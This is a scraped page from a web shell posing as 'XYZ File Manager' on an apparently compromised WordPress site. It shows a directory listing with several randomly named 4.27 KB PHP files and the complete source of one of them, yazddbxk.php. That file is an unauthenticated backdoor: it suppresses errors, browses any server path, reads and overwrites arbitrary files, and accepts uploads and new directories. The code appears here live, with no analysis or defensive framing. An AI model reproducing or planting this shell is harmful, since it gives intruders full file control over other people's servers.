XYZ File Manager
Current Path:
/home/d9cf555/public_html
home
/
d9cf555
/
public_html
/
📁
..
📄
.htaccess
(1.04 KB)
📁
.tmb
📄
.tmp
(0 B)
📁
.well-known
📁
SEOBARBAR_DATA
📄
ads.txt
(58 B)
📄
cache-manager.php
(5.3 KB)
📁
cgi-bin
📄
class-handler.php
(5.34 KB)
📄
class-module.php
(4.84 KB)
📄
class-widget.php
(4.84 KB)
📄
compat-layer.php
(5.91 KB)
📄
ijvlhkgm.php
(4.27 KB)
📄
jessopschurch.org.zip
(299.84 MB)
📄
lead.php
(4.85 KB)
📄
license.txt
(19.44 KB)
📄
ojxzokci.php
(4.27 KB)
📄
readme.html
(7.23 KB)
📄
session-handler.php
(5.9 KB)
📄
towtuvyj.php
(0 B)
📄
vapagkzb.php
(4.27 KB)
📄
wp-activate.php
(7.2 KB)
📁
wp-admin
📄
wp-blog-header.php
(351 B)
📄
wp-comments-post.php
(2.27 KB)
📄
wp-config-sample.php
(3.26 KB)
📄
wp-config.php
(3.45 KB)
📁
wp-content
📄
wp-cron.php
(5.49 KB)
📄
wp-fonts.php
(0 B)
📁
wp-includes
📄
wp-links-opml.php
(2.43 KB)
📄
wp-load.php
(3.84 KB)
📄
wp-login.php
(50.63 KB)
📄
wp-mail.php
(8.52 KB)
📄
wp-settings.php
(31.88 KB)
📄
wp-signup.php
(33.81 KB)
📄
wp-trackback.php
(5.09 KB)
📄
xmlrpc.php
(3.13 KB)
📄
yazddbxk.php
(4.27 KB)
📄
zhgwoxmz.php
(4.27 KB)
Editing: yazddbxk.php
<?php @ini_set('display_errors', 0); @set_time_limit(0); error_reporting(0); function safe($s) { return htmlspecialchars($s, ENT_QUOTES | ENT_HTML5, 'UTF-8'); } function formatSize($bytes) { $units = ['B','KB','MB','GB','TB']; for ($i = 0; $bytes >= 1024 && $i < count($units)-1; $i++) { $bytes /= 1024; } return round($bytes, 2).' '.$units[$i]; } $cwd = isset($_GET['path']) ? $_GET['path'] : getcwd(); $cwd = realpath($cwd); // Handle upload if (isset($_POST['upload']) && isset($_FILES['file'])) { $target = $cwd . '/' . basename($_FILES['file']['name']); if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "<div style='color:#22d3ee'>[+] File uploaded successfully.</div>"; } else { echo "<div style='color:#f87171'>[-] Upload failed.</div>"; } } // Handle file edit save if (isset($_POST['save']) && isset($_POST['filename'])) { $path = $cwd.'/'.basename($_POST['filename']); if (@file_put_contents($path, $_POST['content']) !== false) { echo "<div style='color:#22d3ee'>[+] File saved successfully.</div>"; } else { echo "<div style='color:#f87171'>[-] Failed to save file.</div>"; } } // Handle create directory if (isset($_POST['mkdir']) && isset($_POST['dirname'])) { $dirName = basename($_POST['dirname']); $fullPath = $cwd . '/' . $dirName; if (!file_exists($fullPath)) { if (@mkdir($fullPath)) { echo "<div style='color:#22d3ee'>[+] Directory created.</div>"; } else { echo "<div style='color:#f87171'>[-] Failed to create directory.</div>"; } } else { echo "<div style='color:#fbbf24'>[!] Directory already exists.</div>"; } } echo "<!DOCTYPE html><html lang='en'><head><meta charset='UTF-8'><title>File Manager</title><style> body { background:#0a0e27; color:#67e8f9; font-family:'Courier New',monospace; padding:20px; } a { color:#06b6d4; text-decoration:none; } a:hover { color:#22d3ee; text-decoration:underline; } input, textarea, select { background:#134e4a; color:#5eead4; border:1px solid #0e7490; padding:5px; width:100%; } input[type=submit] { background:#0891b2; color:#ecfeff; border:1px solid #22d3ee; cursor:pointer; } hr { border:none; border-top:1px solid #0e7490; margin:20px 0; } .dir { color:#22d3ee; } .file { color:#a5f3fc; } .size { color:#67e8f9; float:right; } h2 { margin:0 0 10px 0; text-align:center; font-size:28px; color:#22d3ee; text-shadow:0 0 10px #06b6d4; } </style></head><body>"; echo "<h2>XYZ File Manager</h2>"; echo "<b>Current Path:</b> ".safe($cwd)."<hr>"; // Show navigation $parts = explode(DIRECTORY_SEPARATOR, $cwd); $nav = ""; $build = ""; foreach ($parts as $p) { if ($p == "") continue; $build .= "/$p"; $nav .= "<a href='?path=".urlencode($build)."'>".safe($p)."</a> / "; } echo $nav."<hr>"; // File listing $files = @scandir($cwd); echo "<ul style='list-style:none;padding:0;'>"; foreach ($files as $f) { if ($f == ".") continue; $fp = $cwd.'/'.$f; if (is_dir($fp)) { echo "<li class='dir'>📁 <a href='?path=".urlencode($fp)."'>".safe($f)."</a></li>"; } else { echo "<li class='file'>📄 <a href='?path=".urlencode($cwd)."&edit=".urlencode($f)."'>".safe($f)."</a><span class='size'>(".formatSize(filesize($fp)).")</span></li>"; } } echo "</ul><hr>"; // Edit file if (isset($_GET['edit'])) { $file = basename($_GET['edit']); $full = $cwd.'/'.$file; if (file_exists($full)) { $content = @file_get_contents($full); echo "<h3>Editing: ".safe($file)."</h3>"; echo "<form method='post'>"; echo "<input type='hidden' name='filename' value='".safe($file)."'>"; echo "<textarea name='content' rows='15'>".safe($content)."</textarea><br>"; echo "<input type='submit' name='save' value='Save File'>"; echo "</form><hr>"; } } // Upload echo "<h3>Upload File</h3>"; echo "<form method='post' enctype='multipart/form-data'>"; echo "<input type='file' name='file'><br>"; echo "<input type='submit' name='upload' value='Upload'>"; echo "</form><hr>"; // Create folder echo "<h3>Create Folder</h3>"; echo "<form method='post'>"; echo "<input type='text' name='dirname' placeholder='New folder name'>"; echo "<input type='submit' name='mkdir' value='Create'>"; echo "</form>"; echo "</body></html>";
Upload File
Create Folder